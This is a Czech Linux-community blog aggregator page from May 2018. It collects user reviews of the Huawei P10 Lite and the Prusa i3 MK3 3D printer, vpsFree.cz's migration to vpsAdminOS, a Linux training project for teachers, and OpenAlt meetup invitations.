Planeta.OpenAlt.org

Huawei P10 Lite - zkušenosti

květen
25
Petr Stehlík
Rád bych navázal na blogpost o kupování telefonu a popsal zkušenosti s Huawei P10 Lite po téměř pěti měsících střídmého používání..

První a nejdůležitější věc - bezpečnost systému: jeden z dvou hlavních důvodů pro koupi nového telefonu byl, že na můj předchozí telefon, skvěle fungující Nexus 5, výrobce přestal poskytovat bezpečnostní záplaty. Proto jsem koupil co možná nejnovější telefon (v podstatě v prvních týdnech distribuce v Česku), abych měl po co nejdelší dobu plnou podporu od výrobce. Od syna s Huawei P8 Lite jsem věděl, že Huawei se o Lite telefony celkem stará a záplaty pravidelně posílá.

U P10 Lite tomu tak však není a mám-li být upřímný, tak na tento model výrobce doslova sere (promiňte expresivní, leč naprosto přesný termín). Ještě začátkem července jsem měl "úroveň záplat 5. února", tedy pětiměsíční skluz! Pak se Huawei "pochlapil" a poslal první update systému, který posunul "úroveň záplat" o pouhé dva měsíce, tedy na začátek dubna. Je 21. září a já mám v telefonu pořád 5. duben!! Přes pět měsíců už je telefon děravý jak řešeto - aktuální útok přes Bluetooth mi dokáže hacknout přístroj do 10 sekund. Za tohle jsem platil 9 tisíc korun? Dopr!!

Nejhorší je, že jsem se nějak po fórech dopídil k tomu, že Huawei ve skutečnosti potichu nějaké updaty systému ubastlil, dokonce nejnovější má snad datum 24. srpna, ale jaksi je zapomíná pouštět mezi lidi přes OTA update. Navíc začátkem září nepochopitelně zrušil stránky, ze kterých si lidé mohli stahovat firmware a aplikovat nové verze svépomocí. Nyní jsou všichni odkázaní na OTA update, které, jak jsem výše uvedl, má nejméně 3-5 měsíční zpoždění, což je u této "vlajkové lodi nižší střední třídy" trestuhodná nedbalost!

Další věc - rychlost: telefon má sice neuvěřitelných 8 jader (4x víc než můj stolní počítač!), ale občas se očividně zamyslí, než dokreslí nějakou pitomou animaci třeba při spouštění či zavírání aplikace. Musím najít, kde se všechny vypínají. Když mi jednou docházela baterka, tak se mi systém sám nabídl, že animace dočasně vypne, a jak to byl potom svižný telefon!

Periferie: foťák celkem fotí, video natáčí (ale ne ve více FPS, pokud se člověk nespokojí se sedmkrát horším rozlišením nahrávky), displej je rozumný, čtečka otisků prstů spolehlivá a rychlá - celkem to jde.

Senzory: ty jsou docela peklo. Kdo by byl býval čekal nepřesnou GPS v roce 2017? Přitom tato čínská sleduje satelity americké, ruské a navíc i čínské. A stejně dokáže určit pozici s NEpřesností +- 13 metrů, zatímco Nexus 5 na stejném místě pracuje s +- 3 metry. Dost zlé! Asi jsem se měl držet Snapdragonu za každou cenu..

Dále elektronický kompas - ukazuje mírně šejdrem a ještě se u toho celou dobu třese jak ratlík. Kompas u Nexu je mnohem klidnější.

Baterie: to je snad jediný klad na celém přístroji. Při mém mírném používání vydrží telefon běžně 4 dny v provozu bez dobití. Pokud za 4-5 dní poklesne pod 20 % kapacity baterie, nabídne se automatické vypnutí animací a podobných nesmyslů, čímž se zbývající životnost protáhne z necelého dne na další třeba tři dny. A to ještě není ta nejagresivnější optimalizace, kterou systém nabízí - to by pak běžel ještě mnohem déle. Nevím, jestli tu tleskat Androidu 7, anebo Huawei/EMUI. Nevím, kdo z nich k tomuto přispěl více.

Navíc pokud už baterie potřebuje dobít, tak se s originální nabíječkou dobije z nuly na 100 % za necelou hodinu (protože nabíječka valí 9 V a 2 A). To je tak dobré, že jsem mu skoro odpustil chybějící indukční dobíjení.

Jinak mě velmi mrzí, že tento čínský telefon nemá probuzení poklepem na obrazovku. To, co má každý drek z Číny i za blbých 1000 korun, tento telefon postrádá. Nejhorší na tom je, že je to zase jen nějaká "vlastnost" konkrétního modelu dováženého do Česka. Modely pro jiné země tuto vlastnost mají dostupnou (sice někde "v tajném menu", ale mají). Přitom má kreslení gesty na obrazovku pro spuštění aplikací, ale probuzení poklepem či zvednutím ze stolu nejde. Ach jo.

To je tak asi vše, co si aktuálně vybavuju, že mě pálí. Podruhé bych si tento telefon nekoupil ani za 4000 Kč, větší cenu opravdu nemá (pro někoho, komu záleží na výše uvedených věcech). Sáhl bych nejspíš po Xiaomi či nějakém jiném Číňanovi (Lenovo / Motorola).

EDIT: zapomněl jsem na nové Nokie, taky výborné čínské telefony s čistým Androidem. A samozřejmě pak další telefony v edici Android One...

EDIT 25.5.2018 - záplaty systému a bezpečnostní aktualizace:
Ještě někdy v březnu 2018 jsem měl pořád poslední záplaty k 1.září předchozího roku, ale pak se to začalo trochu zlepšovat, aktualizace chodily častěji a zpoždění oproti opravám od Google byly už jen dva-tři měsíce. Ovšem dnes Huawei pěkně překvapil: přijela mi záplata systému, která obsahuje opravy od Google až do 1.května 2018. To je vůbec poprvé, kdy mám zcela aktualizovaný systém! Hurá!! Tedy doufám, že Huawei nedělá to, co prý dělají jiní výrobci - že jen zvyšují číslo verze, ale opravy chyb do záplaty nezahrnou...

Přecházíme z OpenVZ na vpsAdminOS, spouštíme testovací prostředí

květen
21
vpsFree.cz

Námi používaná technologie OpenVZ už dosluhuje a vývoj skončil. Přecházíme proto na novější řešení v podobě vpsAdminOS.

Aktuálně na všech nodech k provozu VPS používáme kontejnerovou virtualizaci OpenVZ Legacy. Protože už dosluhuje, vývoj skončil a nové distribuce jej přestávají podporovat, řešíme přechod na novější řešení v podobě vpsAdminOS (GitHub). Jedná se o distribuci založenou na NixOS a not-os, která bude na nodech sloužit jako hypervizor pro provoz VPS.

Pro správu VPS (kontejnerů) jsme vytvořili vlastní utilitu osctl, která se funkcemi vyrovná vzctl z OpenVZ, popř. LXD. Řeší hlavně nastavení user namespaces pro správnou izolaci VPS a cgroups pro limity paměti, CPU, atd. Ke spouštění kontejnerů se používá LXC.

vpsAdminOS není omezen jen na infrastrukturu vpsFree.cz. Pokud někde provozujete OpenVZ Legacy a nevíte co dál, můžete zvážit vpsAdminOS, který je na migraci kontejnerů z OpenVZ připraven.

Na vpsAdminOS pracujeme zhruba od podzimu 2017 a nyní si všichni členové mohou vyzkoušet, jak VPS nad novým systémem fungují. Naším cílem je, aby migrace VPS z OpenVZ na vpsAdminOS proběhly bez povšimnutí, nicméně záleží na tom, co ve VPS provozujete. Doporučujeme všem, aby si novou VPS vyzkoušeli a hlásili nám případné problémy a nedostatky. Než přistoupíme k migraci produkčních VPS, je potřeba ten OS a integraci s vpsAdminem vyladit.

V podstatě máte k dispozici další playground VPS, podmínky jsou podobné. Jen to může být trochu divočejší – nehlášené výpadky, restarty když budeme potřebovat něco aktualizovat, atd. Ve vpsAdminu ve formuláři na vytvoření VPS vyberte lokaci Staging. K dispozici jsou zatím tyto distribuce: Alpine, Arch, CentOS, Debian, Fedora, Gentoo, NixOS a Ubuntu. Časem budou přibývat další.

Na testování a hlášení chyb máte cca několik týdnů až měsíců, podle toho jak nám to půjde. Více informací o změnách v OS, vpsAdminu a plánu přechodu na knowledge base.

Jak pomocí Google Chrome najít nechtěný software

Nechtěný či nežádoucí software obsahuje mnoho různých podskupin, jako je adware, falešné optimalizéry výkonu, podvodné či nefunkční doplňky, které odesílají

Příspěvek Jak pomocí Google Chrome najít nechtěný software pochází z Spajk.cz

První zkušenosti s 3D tiskárnou i3 MK3

květen
20
Petr Stehlík

i3 MK2 → i3 MK3

Nedávno jsem si koupil českou 3D tiskárnu i3 MK2 (vyrobenou firmou Prusa Research s hrdostí v Praze) a byl jsem z ní úplně nadšený. Ovšem mé nadšení po necelém roce radostného tisknutí notně zchladilo oznámení výrobce, že na podzim 2017 vydá novou, revoluční verzi i3 MK3. Okamžitě jsem po ní zatoužil - tedy přesněji jsem zatoužil po nové tiskové podložce (pružném ocelovém plátu), která by mi umožnila oddělovat mé výtisky z PETG materiálu jednoduše prohnutím plechu, místo ničením celé tiskárny, jak se snažím ty výtisky utrhnout nebo dokonce odseknout z podložky (PETG drží na PEI opravdu fest).

Nejdřív jsem zvažoval, že koupím jen částečný upgrade z MK2 na MK2.5, ale chybělo mi tam to nové 24V napájení, které prý umožňuje běhat motorům mnohem rychleji, takže tisk na MK3 je hotový mnohem dříve než na MK2 (a asi i na MK2.5). Navíc jsem si říkal, že 24V vyhřívání tiskové podložky MK52 dodá čtyřnásobný výkon než 12V u MK42, takže nebudu čekat minutu na nahřátí před tiskem, ale jen 15 sekund. Proto jsem nakonec týden před Vánoci 2017 objednal celou novou i3 MK3.

Postav si sám

Po mnoha týdnech čekání mi začátkem března dorazila krabice s pravými medvídky Haribo (to mě potěšilo - u předchozí MK2 jsem měl nějaké nedobré kostky) a novou tiskárnou. Sestavit ji bylo velmi jednoduché a příjemné, neboť se tam už neopakoval ten zavilý souboj se šesti závitovými tyčemi a 24 matičkami, kdy z nich člověk zkouší sestavit rám. U i3 MK3 je rám z profilů, které stačí sešroubovat a je to. Teda není to, je nutné to i tady zkontrolovat, protože i teď to jde při utahování zkřížit, ale když je člověk pečlivý, tak to rychle dá. Mě to dokonce tak bavilo, že jsem si ten rám po sestavení celý rozdělal a složil znovu, jen abych si to užil. Zbytek stavby tiskárny je opět pohodový, pokud člověk přesně následuje návod a dává pozor i na délku šroubků (jinak musí rozdělat půl extruderu, jako já :).

Jedno podivné zaškobrtnutí v mém případě přece jen bylo - koncem ledna 2018 Josef Průša vyhlásil na blogu, že od teď mají nové plastové díly, tak jsem je chtěl dostat - to se mi povedlo, akorát balení šroubků odpovídalo ještě předchozím plastovým dílům. Takže při kompletaci mé krabice asi řádil nějaký šotek. Naštěstí je v balení sáček s náhradními šroubky, takže se mi vše povedlo sestavit bez dokupování čehokoliv. Akorát jsem se spojil s podporou, že mám v balení ještě to pevné plastové opletení kabelu k topení podložky, které v lednu také opustili, protože to prý některým zákazníkům vytrhávalo termistory - tak mi do týdne přišlo to děrované opletení a bylo vše v cajku.

První tisk

Před prvním tiskem jsem nasadil už dříve objednanou silikonovou ponožku přímo od E3D (výrobce hotendu). Ta chrání okolí trysky, vlastně celý hotend, od zalepení z roztopeného plastu (zvlášť můj oblíbený PETG materiál se rád nalepí na hotend). Nejdřív jsem musel tisknout z PLA, jak vyžaduje firmware tiskárny (před prvním tiskem jsem též nasadil nejnovější stabilní firmware, který se už dva měsíce drží na verzi 3.1.3).

Poté jsem už přešel na PETG, ze kterého tisknu všechno, neboť velmi dobře kombinuje kladné vlastnosti z PLA i ABS a nemá prakticky žádné zápory. Měl jsem doma nějaké zbytky Prusa PETG z předchozí tiskárny, a s novou tiskárnou jsem si rovnou koupil i novou cívku černého Prusa PETG. V tu chvíli také začaly problémy, ale o těch až kousek níže. Nejdřív to pozitivní...

Pozitivní zážitky

Určitě dobře znáte všechny výhody i3 MK3, jsouce dobře zmasírování reklamou, podobně jako já. Proto tu potvrdím jen některé drobnosti: tiskárna je skutečně velmi tichá, pokud se hlava pohybuje v malém rozsahu, tak do 3-5 cm (třeba infill malého objektu). Dále senzor filamentu zjednodušuje zakládání nové struny (stačí zastrčit strunu do otvoru a tiskárna si ji sama natáhne). A nakonec to hlavní - pružná tisková podložka je skutečně super, té blahořečím kdykoliv sundávám jakýkoliv větší objekt. Prostě jen prohnu plech a výtisk se odloupne sám. Super!

Nečekaná překvapení (ne pozitivní)

Tiskárna umí velmi překvapit, pokud potřebuje přejet hlavou větší kus podložky (řekněme nad 10 cm). V tu chvíli hrnčí/řinčí úplně stejně jako MK2, možná ještě víc. Po pasáži tichého tisku to trošku zaskočí. Zřejmě rezonanční frekvence rámu nebo něčeho podobného. Nejsem sám, komu to dělá - je o tom řada videí na YT, některá dost výmluvná.

Senzor filamentu umí pěkně potrápit. Ne nadarmo jde v nastavení vypnout. Zdá se, že u průhledných plastů nevidí, že se struna posunuje. Mě to ještě nepotkalo, neboť pořád tisknu z černé, ale už jsem psychicky připraven tu laserovou detekci vypnout, protože novou strunu zakládám jednou za měsíc, zatímco nečekaný výpadek tisku (když senzor falešně zahlásí, že struna došla) mě může potkat kdykoliv.

Nová tisková podložka MK52 se nenahřívá čtyřikrát rychleji, jak jsem si z dvojnásobného napětí myslel. Má totiž jinou konstrukci - místo plošného spoje (desky kuprextitu), kterým protéká proud, jsou tu keramická topná tělíska. Čas potřebný pro počáteční zahřátí je tak prakticky stejný jako u MK2. Nechci ani domýšlet, o kolik se prodlouží čekání u MK2.5, kde je taky nová podložka, ale zůstalo jen 12V nahřívací napětí.

Nová tisková podložka zase není ideálně rovná. Má sice devítibodové uchycení (oproti tuším čtyřem bodům u MK42), takže by se měla méně kroutit, ale stejně je to po nahřátí nějaké zvlněné, což je vidět u větších tisků, kdy je první vrstva místy "rozpláclá" moc a kus vedle už zase málo. Anebo je možná podložka v pořádku, ale je to špatně zkalibrováno novou PINDOU, takže se během tisku nepatrně posunuje hlava v ose Z, aby mylně vykalibrovala podložku, a rozhodí to tisk? Nevím.

Nová teplotně kompenzovaná P.I.N.D.A.2 je kapitola sama pro sebe - měla to být chlouba MK3, a zatím je to noční můra. Věnuji jí asi samostatný odstavec níže.

Mimochodem, když už jsem u té podložky s pružným tiskovým plátem: zdá se, že pro PLA a PETG (a mnoho dalších materiálů) je to naprostý ideál, ale umí to pěkně potrápit lidi, kteří ještě tisknou z ABS. Smršťovací síla při chládnutí ABS je totiž tak obrovská, že umí nadzvednout tiskový plát navzdory silným magnetům, které jej normálně drží na podložce! Mně se to tedy neděje, neboť ABS po letech trápení s nejstarší 3D tiskárnou ignoruju, ale jiní tiskaři si už svůj moment překvapení prožili. Možná pomůže přichytit pružný plát po okrajích těmi kancelářskými sponkami, co s nimi běžní 3D tiskaři přichytávají sklo k vytápěné podložce.

Teď třeba o rychlosti tisku: i když mám nové motory na 24 V, i když mám revoluční Trinamic drivery pro krokové motory, i když mám novou elektroniku Einsy (chytrou jako Einstein), tak tisk je ve výsledku pomalejší než na MK2! Důvodem je, že na MK2 funguje linear advance, zatímco na MK3 zatím pořád ne (nový firmware to snad bude umět, ale firmware si zaslouží vlastní hustý odstavec). Takže tady mě koupě nové tiskárny se slibem rychlejšího tisku za 20 tisíc zatím nepotěšila - stará dobrá MK2 je prostě výhodnější (vytiskne více za stejnou dobu).

Je důležité též zmínit, že linear advance umí též zvýšit kvalitu tisku, takže se dá říct, že MK3 tiskne hůře než MK2 (v tuto chvíli - časem snad nový firmware přidá linear advance i pro MK3). Skutečně - na výtiscích z MK3 je na horní straně (v poslední vrstvě) vidět takové jakoby plcance plastu v místech, kde hlava opouštěla tisk a přesouvala se jinam. Na začátku mě firmware při kalibraci donutil vytisknout logo PRUSA, které v dodaném stříbrném PLA vypadá dost odpudivě, jako nějaký nepovedený výtisk. Naprosto nesnese porovnání se stejným logem vytištěným před rokem a půl na MK2. Byl jsem z toho tak zaskočený, že jsem pro kontrolu poprvé v životě vytiskl 3DBenchy (testovací lodičku), ale ta dopadla dobře (chci říct perfektně). Asi je to tím, že nemá víc míst v jedné rovině v poslední vrstvě, takže se hlava nepřesouvala a nenechala za sebou ty plcance.

Zajímavé též je, jak strašně je rozžhavený motor extruderu. Má minimálně 60 ℃ - nedá se na něm udržet ruka, dokonce bych řekl, že se o něj dá spálit. Zkoušel jsem o hodně povolit šrouby regulující tlak na kolečko posouvající plastovou strunu, ale ničeho jsem tím nedosáhl. Mnoho lidí se v konferencích i jinde ptalo, jestli je takto rozžhavený motor OK - Josef Průša celou dobu odpovídal, že ano, že je na to stavěný, ale začátkem května se v git repozitáři firmware objevily úpravy, které významně snižují proud jdoucí do motoru extruderu, právě proto, aby trochu zchládl. Ihned to způsobilo problémy jinde. Ale víc o tom v odstavci o vývoji firmware.

Negativní zážitky

Z vyloženě negativních zážitků si aktuálně vybavuju jen kruté problémy při tisku z dodaného černého Prusa PETG. Trápil jsem se s tím skoro šest týdnů. Ve zkratce šlo o to, že roztavený plast z trysky se při tisku začal velmi záhy nabalovat na trysku, až na ní postupně udělal takový velký knedlík, který pak někde upadl, přilepil se a zchládl, pak do něj narazila tisková hlava a byl konec tisku. Zkoušel jsem kde-co, ladil tiskové profily (což nesnáším, neboť je to úmorná činnost vyhazující akorát plast, elektřinu a hlavně čas tiskaře, kdy postupně člověk mění vždy jeden z deseti různých parametrů, co mohou tisk ovlivnit, pak tiskne pokusný nesmysl a pozoruje změnu, a pak znovu jinak a tak pořád dokola), psal do konferencí, psal na podporu výrobce, psal na můj Google+ profil a celkově s tím otravoval sebe i ostatní. Nakonec se ukázalo, že na vině je zřejmě jen tento konkrétní kus dodaného PETG, protože s jiným Prusa PETG (např. loňským, nebo od jiného výrobce - třeba Devil Design) tiskárna tiskne dobře a bez nervů.

K negativním zážitkům se vlastně řadí i moje komunikace s dodavatelem tiskárny. Připomeňme si, že tiskárna stojí dvacet tisíc korun českých i proto, že Prusa Research platí tým lidí jak na ladění tiskových profilů, tak i na podpoře, kde mají reagovat na problémy zákazníků. Přitom na moje dva e-maily (v rozmezí tří týdnů) nikdy neodpověděli, na můj 6 týdnů starý podnět v Githubu dosud nereagovali, na moje dotazy v jejich oficiálním fóru nikdy ani nemrkli. Před týdnem jsem u nich dodaný plast reklamoval - zatím také bez reakce. To je docela studená sprcha.

P.I.N.D.A.2

Tiskárna i3 MK2 přišla s převratnou automatickou kalibrací výšky hlavy nad podložkou díky sondě, které výrobce tiskárny přezdívá P.I.N.D.A. Fungovalo to úplně famózně - tedy pokud člověk pokaždé začínal tisknout ze studené tiskárny. Když ale tiskl další tisk a tiskárna nestihla vychladnout, tak zahřátá P.I.N.D.A. udávala jinou vzdálenost od podložky. Proto v reklamách na MK3 vystupuje P.I.N.D.A. druhé generace, která je teplotně kalibrovaná! Zní to super, člověk očekává, že MK3 má vždycky přesnou vzdálenost od podložky bez ohledu na to, jakou teplotu má zrovna sonda, podložka, hlava či okolní prostředí.

Bohužel, při výrobě tiskárny se podařilo něco nečekaného - použily se dvě různé verze sondy (kterým se pracovně přezdívá šedá a černá) a tyto dvě sondy mají zcela rozdílné teplotní profily - dokonce úplně obrácené. Jedna má ten profil (závislost naměřené vzdálenosti na teplotě) přibližně lineární (např. čím tepleji tím blíž), ale druhá ho má obrácený (opačné znaménko - čím tepleji tím dál!) a řekněme parabolický. Tudíž kdykoliv se některá verze firmware pokusí využít teplotní kalibraci PINDY2, okamžitě to půlce majitelů MK3 totálně rozhodí tisk. Aspoň tolik jsem pochopil ze čtení anglického fóra na stránkách výrobce tiskárny. Proto i v těchto dnech - tedy 8 měsíců od zahájení dodávek MK3 na trh, se pořád ještě ve firmware řeší, jak tu teplotní kalibraci PINDY2 použít tak, aby výsledky byly aspoň trochu přijatelné pro obě verze, které jsou rozšířené mezi desetitisíce zákazníků.

Firmware

Stručná rekapitulace: zatímco MK2 má už mnoho měsíců stabilní verzi firmware (v podstatě od září 2017), která obsahuje linear advance, takže tiskne rychle a kvalitně, tak pro MK3 se během podzimu a zimy vydávala úplná smršť nových verzí firmware. Bylo to zjevně nutné pro uhašení úplně děsivých hlášení od čerstvých majitelů nových tiskáren, kterým tisková hlava různě narážela do podložky, do krajů, odjížděla při tisku bezdůvodně někam pryč, případně se vrátila a začala tisknout o několik centimetrů vedle. Do toho velké problémy s laserovou detekcí pohybu struny (spousta falešných hlášení), výše zmíněné problémy s PINDA2 atd. V lednu pokusně zapnutý linear advace pro MK3 musel být znovu vypnut, protože způsoboval problémy při tisku. Stejně tak byly i problémy s tiskem přes OctoPrint. Mně naštěstí přišla tiskárna zrovna v době, kdy 8.března vyšla už zmíněná verze firmware 3.1.3, která je na mé tiskárně a pro mé tisky bezproblémová. Chybí mi samozřejmě linear advance, ale alespoň mě nezlobí žádné extra senzory, které má MK3 navíc oproti MK2. Zkazky lidí ve fóru naznačují, že mám v podstatě štěstí, které jiní nemají.

Už dva měsíce se tým programátorů u Průšů snaží vydat novou verzi. Jenže mezitím konečně vyšel upgrade z MK2 na MK2.5, který vyžaduje zase další samostatnou verzi firmware, takže by v tu chvíli už tým musel udržovat čtyři různé větvě (MK1, MK2, MK2.5 a MK3). To naštěstí pochopili, že není možné zvládat, a tak se jali slučovat alespoň MK2, MK2.5 a MK3 dohromady. To přináší mnoho nových problémů, které zažívají lidé, co zkouší instalovat RC verze (kandidáty na vydání). Opět jim tisková hlava jezdí kam nemá a naráží do různých věcí. Na takové pokusy nemám náladu, takže čekám na snad stabilní vydání nového firmware.

Při čtení commit logů v githubu jsem taky konečně pochopil, jak velká alchymie celá ta 3D tiskárna je. Programátoři tam ladí desítky analogových parametrů, které je tudíž možné nastavovat v obrovské škále. Neustále k nim proudí mnoho hlášení o chybách a problémech, které se snaží vyřešit. Často je to úplně zavádějící, protože každý z hlásičů si vlastně doma tiskárnu nějak postavil sám, nejspíš ji nemá ideálně vyladěnou, a teď hlásí  třeba že "tiskárna sama detekuje náraz do překážky, přestože tam žádná není". Tak se programátoři rozhodnou, že uberou trošku z citlivosti na náraz do překážky (což se u MK3 detekuje z odběru proudu motoru, kdy po nárazu se odběr zvýší). Pak si jiný člověk začne stěžovat, že tiskárna si u něj nevšimla, že hlava narazila do zvedlého okraje tisku, a všechno tím zničila. Tak zase parametr citlivosti vrátí zpět. A tak pořád dokola, u všech senzorů, co tiskárna má. Je to zřejmě nikdy nekončící práce, až to skoro vypadá, že jeden firmware se nemůže zavděčit všem. Novinkou je ubrání proudu do motoru extruderu, aby rozžhavený motor nenatavoval plast v místě, kde ho má posunovat ozubené kolečko. Ovšem teď má motor zase tak málo proudu, že nepřetlačí málo roztavený plast v extruderu - ovšem jen u některých plastů, v některých tiskových profilech, u některých cívek atd. Co teď? Ladit tiskové profily, zvedat teploty hotendu?

Závěr

Musím napsat nějaký závěr, abych nepokračoval v té trudnomyslnosti. Můj pocit po dvou měsících je, že MK3 je oproti osvědčené MK2 plná nových senzorů, se kterými je ale těžký boj. Pokud už máte MK3 doma a tiskne vám dobře, doporučil bych asi raději na nic nesahat, nic neměnit, nepřepínat a jen si to užívat. Pokud vám MK3 doma zlobí, tak snad vás potěší, že nejste sami, a možná vám výše uvedené skutečnosti osvětlí, že je to lítý boj, který se snaží tým lidí u výrobce vyhrát. Jestli se jim to povede a kdy, to je otázka.

Pokud doma máte MK2 nebo spíš už MK2S, tak si gratulujte, poplácejte se po rameni a tiskněte co to dá, protože tak vyladěnou a bezchybnou tiskárnu aby jeden pohledal! Jestli pošilháváte po upgrade na MK2.5, tak bych asi doporučil opatrnost, protože budete mít nejmíň odzkoušenou kombinaci hardware a firmware. Raději bych s tím asi chvíli počkal, protože určitě nikdo nechce ze dne na den přejít z bezchybné tiskárny na výše popsaný "živý organismus", kde není jisté, jestli bude tisknout a jak.

A pokud doma ještě žádnou tiskárnu nemáte a jste připraveni si na prusa3d.cz nějakou koupit? Nu tu je dobrá rada drahá. Jestli vysolit 20 tisíc za MK3 s jejím nehotovým firmware, neznámou PINDOU a bez linear advance, ale s pružnou podložkou? Anebo zaplatit 16 tisíc za osvědčenou MK2S, počkat, až si firmware pro MK2.5 "sedne" a pak jít do upgrade za 4,5 tisíce, tedy oželet 24V napájení?

Mimochodem, blíží se léto, kdy Průša rád oznamuje novinky. Nerad bych se dočkal oznámení MK4 v době, kdy MK3 je ještě takto nezralá. Doufám, že se výrobce soustředí a doladí tuto verzi (včetně MK2.5) do stavu, kdy jasně předčí současnou špičku MK2S.


EDIT 18.5.2018:
Dnes vyšel firmware 3.2.1, první stabilní verze bez známých chyb a s navráceným Linear Advance módem. Funguje zdá se dobře i s OctoPrintem v1.3.8 běžícím na Orange Pi One. Tisk má odpovídající kvalitu, ale bohužel rychlost pořád zaostává za MK2. Konkrétně jedna z mých krabiček se na MK3 tiskne 01:54:52, zatímco na MK2 se tiskne 01:42:07, tedy o 13 minut rychleji. Přitom jedním z hlavních výhod MK3 měly být rychlejší a přesnější pohyby díky těm Trinamic driverům. Snad se to ještě bude dát vytunit časem v Slic3rPE, i když jsem slyšel, že extruder na MK3 nezvládne protlačit tolik plastu jako na MK2, takže by mohlo být úzké hrdlo (doslova) tam.

Školíme Linux učitele středních škol

Nedávno jsem se nachomýtl k dobrovolnickému projektu, který zní opravdu zajímavě: školení Linuxu pro učitele středních škol Jihomoravského kraje. Ukazuje se, že už i na středních školách cítí tlak, který vyvolává poptávka po lidech, kteří Linuxu rozumí.

Já jsem chodil na střední školu v období totální dominance Windows na desktopu. Měly tenkrát tržní podíl přes 97 % a cokoliv jiného byla naprostá minorita. Nebylo divu, že jsem se u nás na gymplu s Linuxem vůbec nepotkal. Na vysoké škole už to bylo jiné, ale i tak tam povědomí o Linuxu bylo menší než nyní.

Každý rok chodím na FIT VUT představovat prvákům Fedoru. Už v Základech programování je studentům řečeno, že by měli svoje projekty dělat v Linuxu, a setkávají se s ním v průběhu školy pořád. Já jsem do jedné z prvních hodin pozvaný, abych studentům představil Fedoru jako jednu z variant Linuxu, kterou můžou při studiu používat. V plné přednáškové místnosti pro 300 studentů jsem se čerstvých maturantů ptal, kdo už někdy používal Linux na desktopu nebo na serveru. Když jsem to před cca 4 lety začal dělat, zvedlo se ani ne 50 rukou. Když jsem se ptal naposledy, bylo to už 3/4. Většinou ale ne zrovna díky výuce na střední.

Jestliže na technických vysokých školách už se studenti s Linuxem setkávají běžně, na střední to zdaleka tak běžnou součástí výuky není. Přitom právě střední školy by měly vychovávat systémové administrátory, mezi kterými jsou ti se znalostmi Linuxu čím dál žádanější, protože počet služeb a projektů běžících na Linuxu raketově roste.

Projekt školení učitelů středních škol vzešel právě z tlaku vysokých škol a firem, které si stěžovaly, že absolventi IT středních škol nemají dostatečné znalosti Linuxu. Organizuje jej Střední průmyslová škola na Purkyňově v Brně, která sídlí pár desítek metrů od kanceláří Red Hatu. Díky této kolokaci jsme už dříve navázali spolupráci a právě proto jsme byli oslovení právě pro tato školení.

Zatím se to celé teprve rozjíždí. Udělali jsme jedno úvodní školení pro cca 25 učitelů v prostorách SPŠ. Byl to takový přehled nutný pro další školení (jak Linux vznikl, licence, distribuce, balíčkovací systém, instalace, základy používání…). Na školení se nám totiž sešli učitelé různých věkových kategorií a různých úrovní znalostí Linuxu. Od těch, co Linux aktivně používali, a školení pro ně bylo spíš opakováním, až po ty, pro které to bylo něco zcela nového. Bylo tedy potřeba nastavit nějaké minimální vstupní znalosti.

Další školení proběhne za 3 týdny a bude se věnovat základům příkazové řádky, aby se pak mohli učitelé efektivně zapojit do dalších školení, které se budou věnovat převážně administraci Linuxu a kde je příkazová řádka nezastupitelná.

Jako distribuci, na které budou školení postavená, jsme vybrali Fedoru. Chtěli bychom mít všechna školení v textové podobě a zveřejněná na wiki.mojefedora.cz. Na forum.mojefedora.cz bychom chtěli rozjet sekci „Fedora ve škole“, která by měla být věnovaná diskusi o používání Fedory ve škole. Náš dosah je pouze na Jižní Moravě, ale pokud budou k dispozici zpracované materiály v textové podobě, může se jich chytit kdokoliv v dalších částech republiky.

Největší výzva je samozřejmě to na dobrovolnické fázi dlouhodobě udržet. Firma nás v tom podporuje, ale každý z nás to dělá navíc ke své hlavní pracovní náplni. Proto jsme se rozhodli, že bude nejlepší zátěž rozložit mezi co největší počet lidí a místo toho, abychom všechna školení dělali v několika lidech, raději vybírat na dané témat odborníka z Red Hatu, který zpracuje pouze jedno školení.

Po základech příkazové řádky bychom rádi navázali školením o správě uživatelů a jejich práv a potom v měsíčních intervalech pokrývali další témata (síť, firewall, různé typy serverů: webový, DHCP, DNS,…) s tím, že to nebude uzavřený okruh, ale spíše pravidelná měsíční školení na další a další témata, aby se učitelé mohli průběžně vzdělávat.

Kromě školení domlouváme také pilotní počítačové stanice s Fedorou, kde bychom si mohli vyzkoušet, jak Fedora funguje v typické infrastruktuře české střední školy a vyladili návody a „best practises“ pro provoz počítačové učebny založené na Linuxu. To je zase docela zajímavé pro nás.

Sám jsem zvědavý, jak se bude celý projekt dařit. Samozřejmě kritický bude přechod z úvodního nadšení do rutiny, ale pokud se podaří školení rozjet a pravidelně organizovat a pokud se rozšíří i mimo náš projekt na Jižní Moravě, může se nám podařit dostat Linux na střední školy v míře daleko větší, než tomu bylo doposud.

P.S. když jsme hledali materiály pro inspiraci, narazili jsme na stránku Linux Journey a musím říct, že je to fakt skvěle zpracovaný učební materiál o Linuxu.

Valná hromada SPIR zvolila novou výkonnou radu

Valná hromada SPIR zvolila novou výkonnou radu tereza.tumova@… St, 05/16/2018 - 13:12

Valná hromada Sdružení pro internetový rozvoj (SPIR) zvolila na svém dnešním zasedání nové členy výkonné rady, která ze svého středu zvolí předsednictvo na svém prvním zasedání za dva týdny.

Valná hromada SPIR se dnes sešla, aby schválila činnost sdružení za uplynulý rok, plány pro rok následující a zvolila novou výkonnou radu. Jejími členy jsou: Ivan Mikula (Seznam.cz), Roman Latuske (Economia), Libuše Šmuclerová (Czech News Center), Petr Bednář (AdActive), Michal Hanák (MAFRA), Ján Simkanič (Internet Info), Daniel Blažek (Heureka Shopping), Daniel Grunt (FTV Prima), Martin Šebesta (OMD Czech), Martin Picek (Mindshare), Karel Brýna (Tiscali Media), Monika Jančová (TV Nova), Michael Štádler (Adform), Jaroslav Kábele (ČTK), Tomáš Búřil (Dentsu Aegis Network Czech Republic). Za dva týdny proběhne první zasedání výkonné rady, která zvolí se svého středu nového předsedu a dva místopředsedy.

Pozvánka na 152. sraz - Brno

květen
14
Openalt.org

Vzhledem k prakticky letnímu počasí jsme na květnový sraz zvolili posezení na zahrádce. Přijďte s námi posedět a pokecat v pátek 18. května 2018 od 18 hodin do Duck baru v Kamenné kolonii.

Pozvánka na 152. sraz OpenAlt – Praha

květen
14
Openalt.org

Květnový pražský sraz spolku OpenAlt se koná již tento čtvrtek – 17. 5. 2018 od 18:00 v Kavárně Ideál (Sázavská 30, Praha), kde máme rezervovaný salonek. Tentokrát na téma: Audio – zvuk v GNU/Linuxu.

Nokia 3: verdikt (takřka) po roceJak se to celé povedlo, nebo nepovedlo... :-)

květen
09
Lukáš Kotek
